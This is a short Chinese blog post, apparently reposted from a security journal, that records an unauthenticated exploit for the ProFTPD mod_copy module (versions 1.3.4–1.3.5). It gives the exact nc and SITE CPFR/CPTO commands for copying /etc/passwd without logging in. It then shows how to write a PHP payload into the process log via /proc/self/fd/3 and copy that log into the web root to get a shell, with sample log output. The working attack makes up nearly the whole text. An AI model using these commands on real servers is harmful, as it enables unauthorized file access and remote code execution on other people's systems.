proftpd的mod_copy模块未授权调用利用记录

文章来源自《安全参考》第30期,略有改动

影响版本:

proftpd-1.3.4---proftpd-1.3.5

1.执行命令

nc x.x.x.x 21

2.执行
site cpfr /etc/passwd
可以未授权状态复制文件


3.执行

site cpto /tmp/test
可将之前复制的/etc/passwd粘贴到/tmp/test


高级用法:

site cpfr /etc/passwd
site cpto <?php phpinfo(); ?> 
site cpfr /proc/self/fd/3
site cpto /var/www/test.php

原理:由于不存在<?php phpinfo(); ?>目录, 会产生一个错误的记录到/proc/self/fd/3下面,内容大概如下

2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q 
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument 
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q 
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q 
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php phpinfo(); ?>' for copying: Permission denied

将文件复制到web目录下即可实现getshell


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值